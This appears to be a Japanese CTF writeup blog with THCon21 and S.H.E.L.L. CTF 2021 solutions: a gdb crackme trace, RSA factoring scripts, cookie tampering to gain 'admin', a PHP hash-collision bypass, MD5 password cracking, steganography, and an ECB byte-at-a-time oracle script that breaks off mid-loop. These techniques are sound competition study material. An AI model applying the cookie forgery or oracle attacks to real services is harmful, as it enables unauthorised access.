   0x0000000000401c7d <+2791>:	lea    rdi,[rip+0x396]        # 0x40201a
   0x0000000000401c84 <+2798>:	call   0x401070 <puts@plt>
   0x0000000000401c89 <+2803>:	cmp    DWORD PTR [rbp-0x1c4],0x0
   0x0000000000401c90 <+2810>:	jne    0x401c9c <main+2822>
   0x0000000000401c92 <+2812>:	mov    eax,0xffffffff
   0x0000000000401c97 <+2817>:	jmp    0x401d7a <main+3044>
   0x0000000000401c9c <+2822>:	mov    eax,0x11
   0x0000000000401ca1 <+2827>:	jmp    0x401d7a <main+3044>
   0x0000000000401ca6 <+2832>:	add    DWORD PTR [rbp-0x1c4],0x1
   0x0000000000401cad <+2839>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401cb3 <+2845>:	movsxd rbx,eax
   0x0000000000401cb6 <+2848>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401cbd <+2855>:	add    rax,0x8
   0x0000000000401cc1 <+2859>:	mov    rax,QWORD PTR [rax]
   0x0000000000401cc4 <+2862>:	mov    rdi,rax
   0x0000000000401cc7 <+2865>:	call   0x401080 <strlen@plt>
   0x0000000000401ccc <+2870>:	sub    rax,0x1
   0x0000000000401cd0 <+2874>:	cmp    rbx,rax
   0x0000000000401cd3 <+2877>:	jb     0x401c4d <main+2743>
   0x0000000000401cd9 <+2883>:	lea    rdi,[rip+0x350]        # 0x402030
   0x0000000000401ce0 <+2890>:	call   0x401070 <puts@plt>
   0x0000000000401ce5 <+2895>:	mov    eax,0x2a
   0x0000000000401cea <+2900>:	jmp    0x401d7a <main+3044>
   0x0000000000401cef <+2905>:	mov    DWORD PTR [rbp-0x1c4],0x0
   0x0000000000401cf9 <+2915>:	jmp    0x401d45 <main+2991>
   0x0000000000401cfb <+2917>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401d02 <+2924>:	add    rax,0x8
   0x0000000000401d06 <+2928>:	mov    rdx,QWORD PTR [rax]
   0x0000000000401d09 <+2931>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401d0f <+2937>:	cdqe   
   0x0000000000401d11 <+2939>:	add    rax,rdx
   0x0000000000401d14 <+2942>:	movzx  edx,BYTE PTR [rax]
   0x0000000000401d17 <+2945>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401d1d <+2951>:	cdqe   
   0x0000000000401d1f <+2953>:	movzx  eax,BYTE PTR [rbp+rax*1-0x1c0]
   0x0000000000401d27 <+2961>:	cmp    dl,al
   0x0000000000401d29 <+2963>:	je     0x401d3e <main+2984>
   0x0000000000401d2b <+2965>:	lea    rdi,[rip+0x2e8]        # 0x40201a
   0x0000000000401d32 <+2972>:	call   0x401070 <puts@plt>
   0x0000000000401d37 <+2977>:	mov    eax,0xffffffff
   0x0000000000401d3c <+2982>:	jmp    0x401d7a <main+3044>
   0x0000000000401d3e <+2984>:	add    DWORD PTR [rbp-0x1c4],0x1
   0x0000000000401d45 <+2991>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401d4b <+2997>:	movsxd rbx,eax
   0x0000000000401d4e <+3000>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401d55 <+3007>:	add    rax,0x8
   0x0000000000401d59 <+3011>:	mov    rax,QWORD PTR [rax]
   0x0000000000401d5c <+3014>:	mov    rdi,rax
   0x0000000000401d5f <+3017>:	call   0x401080 <strlen@plt>
   0x0000000000401d64 <+3022>:	cmp    rbx,rax
   0x0000000000401d67 <+3025>:	jb     0x401cfb <main+2917>
   0x0000000000401d69 <+3027>:	lea    rdi,[rip+0x2aa]        # 0x40201a
   0x0000000000401d70 <+3034>:	call   0x401070 <puts@plt>
   0x0000000000401d75 <+3039>:	mov    eax,0x11
   0x0000000000401d7a <+3044>:	mov    rcx,QWORD PTR [rbp-0x18]
   0x0000000000401d7e <+3048>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000401d87 <+3057>:	je     0x401d8e <main+3064>
   0x0000000000401d89 <+3059>:	call   0x401090 <__stack_chk_fail@plt>
   0x0000000000401d8e <+3064>:	add    rsp,0x1d8
   0x0000000000401d95 <+3071>:	pop    rbx
   0x0000000000401d96 <+3072>:	pop    rbp
   0x0000000000401d97 <+3073>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000401c33
Breakpoint 2 at 0x401c33
gdb-peda$ c
Continuing.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc50 ("4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
RBX: 0x1 
RCX: 0x17 
RDX: 0x7fffffffe277 --> 0x455454554c430031 ('1')
RSI: 0x7fffffffdef8 --> 0x7fffffffe247 ("/mnt/hgfs/Shared/elf_x64_basejumper_crackme.bin")
RDI: 0x7fffffffdc50 ("4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
RBP: 0x7fffffffde10 --> 0x401da0 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffdc30 --> 0x7fffffffdef8 --> 0x7fffffffe247 ("/mnt/hgfs/Shared/elf_x64_basejumper_crackme.bin")
RIP: 0x401c33 (<main+2717>:	call   0x401080 <strlen@plt>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x3 
R11: 0x7ffff7b704d0 (<__strlen_avx2>:	mov    ecx,edi)
R12: 0x4010b0 (<_start>:	endbr64)
R13: 0x7fffffffdef0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401c26 <main+2704>:	mov    rbx,rax
   0x401c29 <main+2707>:	lea    rax,[rbp-0x1c0]
   0x401c30 <main+2714>:	mov    rdi,rax
=> 0x401c33 <main+2717>:	call   0x401080 <strlen@plt>
   0x401c38 <main+2722>:	cmp    rbx,rax
   0x401c3b <main+2725>:	jne    0x401cef <main+2905>
   0x401c41 <main+2731>:	mov    DWORD PTR [rbp-0x1c4],0x0
   0x401c4b <main+2741>:	jmp    0x401cad <main+2839>
Guessed arguments:
arg[0]: 0x7fffffffdc50 ("4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc30 --> 0x7fffffffdef8 --> 0x7fffffffe247 ("/mnt/hgfs/Shared/elf_x64_basejumper_crackme.bin")
0008| 0x7fffffffdc38 --> 0x200000000 
0016| 0x7fffffffdc40 --> 0x0 
0024| 0x7fffffffdc48 --> 0xf7ffb2d8 
0032| 0x7fffffffdc50 ("4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
0040| 0x7fffffffdc58 ("515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
0048| 0x7fffffffdc60 ("4749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
0056| 0x7fffffffdc68 ("53544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000401c33 in main ()

rdiレジスタが指すアドレスに怪しい文字列が入った。

>>> s = '4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D'
>>> s.decode('hex')
'KZCWQRDCGI2HSTKYORJFGMKOKRRFKVJTKNKGQSDCIZHESV2XGFIFOVLIJZSUK3BSJ5LTS4SWKV4EMVKFGFFFMWBQHU======'
>>> from base64 import *
>>> b32decode(s.decode('hex'))
'VEhDb24yMXtRS1NTbUU3SThHbFNIWW1PWUhNeEl2OW9rVUxFUE1JVX0='
>>> b64decode(b32decode(s.decode('hex')))
'THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}'
THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}

Rsa internal attacker (cryptography)

n, e_a, d_aがわかっているので、p, qを算出可能。あとはphiも算出できるので、e_bからd_bを算出し、復号する。

import fractions
import random
from Crypto.Util.number import *

def factor_modulus(n, d, e):
    t = (e * d - 1)
    s = 0

    while True:
        quotient, remainder = divmod(t, 2)

        if remainder != 0:
            break

        s += 1
        t = quotient

    found = False

    while not found:
        i = 1
        a = random.randint(1, n-1)

        while i <= s and not found:
            c1 = pow(a, pow(2, i-1, n) * t, n)
            c2 = pow(a, pow(2, i, n) * t, n)

            found = c1 != 1 and c1 != (-1 % n) and c2 == 1

            i += 1

    p = fractions.gcd(c1-1, n)
    q = n // p

    return p, q

with open('output.txt', 'r') as f:
    n = eval(f.readline().rstrip().split(' : ')[1])
    e_a, d_a = eval(f.readline().rstrip().split(' : ')[1])
    e_b = eval(f.readline().rstrip().split(' : ')[1])
    c = eval(f.readline().rstrip().split(' : ')[1])

p, q = factor_modulus(n, d_a, e_a)

phi = (p - 1) * (q - 1)
d_b = inverse(e_b, phi)
m = pow(c, d_b, p * q)
flag = long_to_bytes(m)
print flag
THCon21{coMm0n_m0duLus_wh1th_int3rn4l_aTt4ck3r}

S.H.E.L.L. CTF Writeup

この大会は2021/6/5 15:30(JST)~2021/6/7 15:30(JST)に開催されました。
今回もチームで参戦。結果は2602点で533チーム中46位でした。
自分で解けた問題をWriteupとして書いておきます。

check_flag (Reverse Engineering 100)

$ strings checkflag.exe | grep SHELL
SHELL{bas1c_r3v}
SHELL{bas1c_r3v}

keygen (Reverse Engineering 200)

チェックしている文字を並べていく。

SHELL{s3nb0nzakur4_k4g3y05h1}

anonym (Web Security 100)

http://3.142.122.1:8887/robots.txtにアクセスすると、次のように書いてある。

User-agent: *
Disallow: /yfhdgvs.txt

http://3.142.122.1:8887/yfhdgvs.txtにアクセスすると、フラグが書いてあった。

SHELL{n0_ro80t5_4llow3d_50886509749a98ef14ec2bc45c57958e}

Under Development (Web Security 100)

HTMLソースを見ると、コメントにこう書いてある。

<!--TODO: Develop auth, buy some cookies from the supermarket-->

クッキーにはprivilegeキーにdXNlcg%3D%3Dと設定されているので、base64デコードする。

$ echo dXNlcg== | base64 -d
user

"admin"のbase64エンコードデータを設定してみる。

$ echo -n admin | base64
YWRtaW4=

YWRtaW4%3D をクッキーに設定する。

SHELL{0NLY_0R30_8e1a91a632ecaf2dd6026c943eb3ed1e}

Collide (Web Security 200)

shellパラメータの値のsha256とpwnパラメータの値のsha256で異なる文字列で衝突を発生させるようなコード。次にようなURLにして、パラメータに配列を使って、同じオブジェクト扱いにする。

http://3.142.122.1:9335/?shell[]=a&pwn[]=b
SHELL{1nj3ct_&_coll1d3_9d25f1cfdeb38a404b6e8584bec7a319}

login (Web Security 300)

http://3.142.122.1:8889/main.jsを見たらこう書いてある。

function checkIt() {
  var user = document.getElementById("username").value; var pass = document.getElementById("password").value;
  if (user != "din_djarin11") alert("Only for user: din_djarin11"); else {
    var s = Hash(pass);
    if (s == "9ef71a8cd681a813cfd377817e9a08e5") window.location = "./" + pass; 
    else alert("Invalid login");
  }
}

Hashはmd5の処理になっている。9ef71a8cd681a813cfd377817e9a08e5をCrackStationでクラックすると、"ir0nm4n"であることがわかる。以下の情報でログインする。

Username: din_djarin11
Password: ir0nm4n

「login」をクリックしたら、ir0nm4nというファイルがダウンロードされ、このファイルにフラグが書いてあった。

SHELL{th1s_i5_th3_wa7_845ad42f4480104b698c1e168d29b739}

Hidden inside (Forensics 100)

jpgが添付されている。

$ zsteg mystic-fairy-girl-magical-dark-cgi-3840x2558-5287.jpg 
imagedata           .. file: VAX-order 68k Blit mpx/mux executable
b1,r,lsb,xy         .. text: "NarUTO_Is_hokaGE"★
b1,abgr,msb,xy      .. file: PGP\011Secret Sub-key -
b2,r,msb,xy         .. text: "z@(Z}v-J"
b2,g,lsb,xy         .. text: "'vV4Mc$v)7"
b2,g,msb,xy         .. text: "zA(Z}}-J"
b3,bgr,msb,xy       .. text: "F7JNF8qb"
b3,abgr,msb,xy      .. text: "g{6G|DGt6gs"
b4,r,lsb,xy         .. text: "c$UR%R$C#5D2%E#%C#\#$C$UU#EUU%DR'C3B5'CS"
b4,r,msb,xy         .. text: "\"Ll*\"bNd**"
b4,g,lsb,xy         .. text: "tEUTET5dDEUDEUDES4C5TEUU4UUVEVdGd4TE7SS"
b4,rgb,lsb,xy       .. text: "H$eWUrF#TWF"
b4,bgr,lsb,xy       .. text: "XBd'UuVBS'T"
b4,rgba,lsb,xy      .. text: "4o$o4o4oU"
SHELL{NarUTO_Is_hokaGE}

Cold Compress Inside (Forensics 200)

PNGファイルフォーマットの後に、ZIPが付いている。解凍して展開すると、以下の2つのファイルが入っている。

・o
・o.exe
$ ./o
Hello, World!
CRazy_MosQUIto_nEEDS_odoMOS
SHELL{CRazy_MosQUIto_nEEDS_odoMOS}

Hidden inside 2 (Forensics 200)

Stegsolveで開き、Extract ViewでGreenのLSBにチェックを入れると、PNGが見えた。エクスポートした画像にフラグが書いてあった。

RayMONd_redDINTON_is_nOt_iLLYA
SHELL{RayMONd_redDINTON_is_nOt_iLLYA}

encoder (Cryptography 100)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 7:
SHELL{P1Z_W3AR_4_M45K}
SHELL{P1Z_W3AR_4_M45K}

EASY-RSA (Cryptography 100)

nをfactordbで素因数分解する。

n = 31415926535897932384626433832795028841 * 56129192858827520816193436882886842322337671

あとはそのまま復号する。

from Crypto.Util.number import *

n = 1763350599372172240188600248087473321738860115540927328389207609428163138985769311
e = 65537
c = 33475248111421194902497742876885935310304862428980875522333303840565113662943528

p = 31415926535897932384626433832795028841
q = 56129192858827520816193436882886842322337671
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
shell{switchin_to_asymmetric}

Subsi (Cryptography 100)

換字式暗号でテーブルがわかっているので、元に戻す。

alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_1234567890'
key   = 'QWERTPOIUYASDFGLKJHZXCVMNB{}_1234567890'

encrypted_msg = 'HITSS{5X65Z1ZXZ10F_E1LI3J}'

flag = ''
for i in encrypted_msg:
    index = key.index(i)
    flag += alpha[index]
print flag
SHELL{5U65T1TUT10N_C1PH3R}

Algoric-Shift (Cryptography 100)

3つに分けて並べ直しているので、元に戻す。

ciphered_txt = 'HESL{LRAT5PN51010T_CNPH1R}3'

li1 = [ciphered_txt[i] for i in range(0, len(ciphered_txt), 3)]
li2 = [ciphered_txt[i] for i in range(1, len(ciphered_txt), 3)]
li0 = [ciphered_txt[i] for i in range(2, len(ciphered_txt), 3)]

flag = ''
for i in range(len(li0)):
    flag += li0[i]
    flag += li1[i]
    flag += li2[i]
print flag
SHELL{TRAN5P051T10N_C1PH3R}

haxxor (Cryptography 100)

フラグは"S"から始まることを前提に、XORキーを求め、復号する。

enc_str = '0x2-0x19-0x14-0x1d-0x1d-0x2a-0x9-0x61-0x3-0x62-0x15-0xe-0x60-0x5-0xe-0x19-0x4-0x19-0x2c'
enc = [int(code, 16) for code in enc_str.split('-')]

key = enc[0] ^ ord('S')

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ key)
print flag
SHELL{X0R3D_1T_HUH}

BruteforceRSA (Cryptography 200)

nをfactordbで素因数分解する。

p = 320163545884759912335372936276795190799
q = 329022220307104142121947724162904472797

あとはそのまま復号する。

from Crypto.Util.number import *
import json

with open('values.json', 'r') as f:
    data = json.load(f)

e = data['e']
n = data['n']
c = data['enc_msg']

p = 320163545884759912335372936276795190799
q = 329022220307104142121947724162904472797

assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
shellctf{k3y_s1ze_m@tter$}

arc-cipher (Cryptography 200)

暗号の処理概要は以下の通り。

・k: keyのASCIIコードの配列
・s: 0~255の配列
・kを繰り返し、255要素分作成
・key_new = key_stream(flag,key_sche(s,k))
 →flagの長さだけに影響するので、keyはわかる
・flagとkey_newとXORをする。

key_newを求め暗号データとXORをとって復号する。

def key_sche(s, k):
    j = 0
    for i in range(256):
        j = (j + s[i] + k[i]) % 256
        temp = s[i]
        s[i] = s[j]
        s[j] = temp
    return s

def key_stream(s, flag_len):
    ks = []
    i = 0
    j = 0
    status = 1
    while(status == 1):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        t = (s[i] + s[j]) % 256
        ks.append(s[t])
        if len(ks) == flag_len:
            status = 0
    return ks

key = 'MANGEKYOU'

s = []
k = []
for i in key:
    k.append(ord(i))

for i in range(0,256):
    s.append(i)
    if i >= len(key):
        k.append(k[i % len(key)])

hex_enc_txt = 'a7 f9 de 54 29 92 7f 61 9a 7a 5f f3 f4 1a 88 a1 8f ca 97 47'

enc_list = [int(code, 16) for code in hex_enc_txt.split(' ')]

key_new = key_stream(key_sche(s, k), len(enc_list))

flag = ''
for i in range(len(enc_list)):
    flag += chr(enc_list[i] ^ key_new[i])
print flag
SHELL{S4SKU3_UCH1H4}

PowerRSA (Cryptography 500)

qはpの次の素数なので、近い数値。Fermat法で素因数分解し復号する。

import socket
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.92.214.217', 8887))

data = recvuntil(s, 'Encrypted Flag =')
data += recvuntil(s, '\n').rstrip()
print data

pub_data = '\n'.join(data.split('\n')[1:-1])
pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
c = int(data.split('\n')[-1].split(' ')[-1], 16)

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

Public Key = 
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA/WCAA3zWDqjWTHo3DLd0
gd0beYxANUEl9Qi7l5NH5nBe/z+KKLrZmJwJkWY4g+RSiQAkLBzOSdrJ0Sxr0TMo
qj5CfcZmbEJS2OOIetVMnWUCQFkl54i7a5UA7KujiV9fFNz/Uoqz6MP/7FG8kaK/
xtxQy9Dsb1R0MvmZMJkVSViHBDqaAtoHFgd2R//clIcFl5/cA1qYXffvGwIkVKbQ
UOXUsegrmqUr+xdc1cXqbEr+agcmJ8JGl/2gxixVie1lU7wi/gJ+YUh5ObPIlkdP
+oGZU9/EmzJBDXQVJVlFjziUdAzPvTk1DeEUM7Vmkmm1b3ohQmWXlXyI3drRmN+V
A5na05WKGjZd759y9/eHJzT5Sq/viPhnQGR9JcJX+ipRyFPdUuA6rln82pTF5lx/
tkEV/l2SyODQaucSd1K2a+2ggY2yekyi51EqlHRYO4yTbi/mNM7hLlaK88sSRtbk
Lyvl+z+6YBuFK3GkDEJsgHZ02AIb+j3vHu/Cq0QJba5VyTbLHPzru2RNdE32/gKq
9Q6wsBZuNu8xGHRp6FlPYi1PZWMi17RykHMAdybFdbzQBCNlNIAtDoB8DaBcENdq
+ek/RIBNiFTTo+DGoZb76+st75dhWlqSgwv1UTS7Xvexe4ylbzFg6qwMxzQBldKe
z3fU0Jz1OViv8CmP2KPUvS0CAwEAAQ==
-----END PUBLIC KEY-----
Encrypted Flag = 0x5452995ea53f660d454d388f9fbffa64cb56125661d53bef63d765a5e009e91ad8ea1672a8c57d881dbd2d26d0cb2f7e78f5365530598874f1bb1d8088a07e01fba90b2229d4910e03b3c8b96d813e4fb3863e74365e0f67dbbc11fd9dfeb8a54113fb5c1ee0105411cc123e931562da8772c9b556bd2dff3822b331f605c3976a47d4c9acf155303d14bc745aeda985e5f4949ac59eec74a7a1063e629684a7bf303fb9b0dfb102ad6ce4982f2a9aa9f01d402006c7e32a247965a2649326eaaa20c141086ec134d5efdbef73c7ffd8df0fce752076e77b1e9241c077cf0115fc159b081123003a2a46e106dd9655fcede162f536c5edf743cdc92344cb53701d5680da7f9abc431a28bfb17718abac9099e8e3c5eb7e03ae918f35b473b27d9f2643e07d94ddbbe13e44e00b21fa5267d5c96780cf2bbb2eb8e46894b16ec7b645a3a5d63ac54e4f245c64a00259ffa313f60000bcbf0b2506ca403ea89ff1fbc2f03bf9abe55b72553e82a2686186f14b01661bb45add9e0b2e288534ddf702a8d395f59e7cbfabdf9f8c0fa41d40df0f922005faa538178beccc7ba8edb2ae45b232144f1d90e45198920506b0839768458eb6297170a55267393144adc10931d8a0506894195dd37b3f55d1ce5cf6b5fabe4bece7cdcb416326bbe91b4764f8c54d48b5310536227054c4481a6b88fd3afadf2eb7c6b9c3eb436aa7fb80
��shell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}
shell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}

Puny Factors (Cryptography 500)

nが素数で復号の方法もコードに書かれているので、その通りに復号する。

import socket
from Crypto.PublicKey import RSA
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('34.92.214.217', 8889))

data = recvuntil(s, 'c =')
data += recvuntil(s, '\n').rstrip()
print data

pub_data = '\n'.join(data.split('\n')[:-1])
pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
c = int(data.split('\n')[-1].split(' ')[-1])

phi = (n - 1) * (n - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2nSjmSmkvJPpi1o84hPS
UeLyokMny17+g9UPuDoZrAbnrl2xdhusBV9+8W9WDmhW6veAclKgMVd9/2x2ebgK
Mf89KnK7AnmfNrVEJy8R3+NEXlyJKTSt/hKbXehjieG/4dxAhP0V2LFvVlEpmL4R
YAtMFvS4Lo51RBmB6iPhDC/nKsIoPKzfvz2WfuIaAfcOnVz4vmXAp+TjsvLPW3+N
0g6iBSJx7B55rUwe0Y0ahwT/W8KUCVTouXwehk3b4nBjrOYdHSYpzuyw6SmDj+eN
lPIHqCYSW2lZQmukAU3UYQUrr+NYMyXXQTyaKi7BVFgmVWerSYF+8oSmR6hFI1fb
hg5duL7MtdBtEGqFQOMxqSnJa2RUvCd/nMYQKcTrrZkwMBFC2OEb31XTOhZSB37M
1CD94tlnI2oaFIsVconvjiIQZpc62CN8XhZ0oNcYpjKAq/d9c+/DPwxuA72IaVOD
u8MbI164l96ublyymrjgP1YgCKVDbKURr6NPX4BRcfNnHo1sNdqe66inCnizYFq+
FVWfEvABgF3EInh4cM0aPZuQVqjn1AisIReRijalpIGs6BDDylwLcy+5XBPayhW4
DH/1sV6I24Mng0jTxUHCHfEmXyWUrv1kEju2fdvND5jhkMZD76/fjEVAy9qG2FYu
BIJ7+T7fyoNJIEI7Ln0RbDUCAwEAAQ==
-----END PUBLIC KEY-----
c =  712650793884864492236401779887854343514338980705556904384583635379921781775791476359089644252586162352951567974333798735775383588441361100927769502157979122933682222602561758694634367391425931210068297806098529984861489065393067076196742811160719643775346750973746300835707143917750050508990844358252110207018069732320100976462811671896115206294125219396178012100388503993504857110924171621594485378878522142340674720671869066009771119465908286718532904550833630747962923189543986447609793111421899624049244649791213008567770802620331962848971176592431623309579517048519579740830776404007284730003387380930664176325343315736821834716194599111727905527790135786793309119990528975630001845350418976406958409400134357226290464043778780186385143533341800651386940304672672218721709658838907591564351116543227080347722097656330372969524593698876725199602929284402598366145317090493537920136983554290322114336668410829259304262718307634397027332448152021868502103300830439437806541409351876180207512373278480796300894865154181597920273151052886393212006388538339923681989883699825061737212980724577521727445453513638976649646711882473846961421608268818690023062626277577817118857821267729463466792740767849255815542697287582982566395816632
shellctf{pr1m3s_ar3_sup3r_int3re$tinG}
shellctf{pr1m3s_ar3_sup3r_int3re$tinG}

Vuln-AES (Cryptography 500)

暗号化は以下の文字列に対して行われる。パディングは長さが16の倍数の場合行われない。

[16-bytes] + [入力] + [flag]

フラグを1文字ずつはみ出させ、ブロック単位で暗号化したデータが一致するものを探すことを続けることによってフラグを割り出す。

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: a
xX+NDjg0X9tmJLobdQv9k9ds/4i9bLo8u6OoRjBMuldg6rjc+L5XlwAejtua+qoK

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aa
xX+NDjg0X9tmJLobdQv9k0b0FVhqId3/a0bVJY6DW0f3xfscR3zfjDwfjiUWyAd7

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaa
xX+NDjg0X9tmJLobdQv9k2Rckh577ORwULBDkusPTDzydgpQE6Y6XTNE8EAJYj0X

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaa
xX+NDjg0X9tmJLobdQv9kwIDub07Cuvooeb4r0qBYZdXANVJGF5XWUZtYaOp8R5R

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaa
xX+NDjg0X9tmJLobdQv9k4yLxzWHDyrYSsvCBp9FyyB3CeHBUH8eopPhHFFTWYLP

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaa
xX+NDjg0X9tmJLobdQv9k09ZEA+t4ZhMy+jT+T4XOk94KEhYfi3NHWY5aIclyLSu

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaa
xX+NDjg0X9tmJLobdQv9k5GBwEvqG6CM9+6uoDmrQ0/0oUIaOYWdT9eiyrSVrU6n

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaa
xX+NDjg0X9tmJLobdQv9k2Oso+o93pnbThKtFswQkyCHZfZapk8YdLtgwFJk6kls

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaa
xX+NDjg0X9tmJLobdQv9k+2ltZKmKyrSOcHkZJM/mlSj9bdYMgopYPZohpXbkaOs

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k/LQkrNK7YupRArfgwOhrvMZD+CsUsQXEa0aZVcsH5pq

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k/8KHf21mRN+RVk3pezy9qEh22WqGpMYPIsNyQyMRgqD

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaa    
xX+NDjg0X9tmJLobdQv9k1ogVkj8E8TuHlXfa5NXsMvugb2sTfvfrBCBSOvexZ6L

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k2X2qXlJTJABFnkdpGYVqS3lbOXXgZh4ORmapkbU0pJ5

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k6uJw5r5T1+MLtgzrH/prSIUnYCI5sIrshw0ZG6I6Cn3

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k3AGFRiZTGeG8/XEsLctVgoQecf4yt/Ef7Oon84ND8+s

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k/AV/+SjM/eHGxK2+lZgigM83+M72twqaKyBgeUW2zjo

$ nc 34.92.214.217 8885
Crewmate! enter your situation report: aaaaaaaaaaaaaaaaa
xX+NDjg0X9tmJLobdQv9k/AV/+SjM/eHGxK2+lZgigPXbP+IvWy6PLujqEYwTLpXYOq43Pi+V5cAHo7bmvqqCg== →64バイト

フラグは以下のようなブロックの構成のイメージ。

0123456789abcdef
????????????????
XXXXXXXXXXXXXXXX
FFFFFFFFFFFFFFFF

flagは16バイトであることがわかる。

0123456789abcdef
????????????????
XXXXXXXXXXXXXXXA
XXXXXXXXXXXXXXXF
FFFFFFFFFFFFFFFP
import socket
import base64

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

flag = ''
for i in range(16):
    for code in range(32, 127):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('34.92.214.217', 8885))

        try_pt = 'X' * (15 - i) + flag + chr(code) + 'X' * (15 - i)
        data = recvuntil(s, ': ')
        print data + try_pt
        s.sendall(try_pt + '\n')

        data = recvuntil(s, '\n').rstrip()
        print data
        try_ct = base64.b64decode(data)
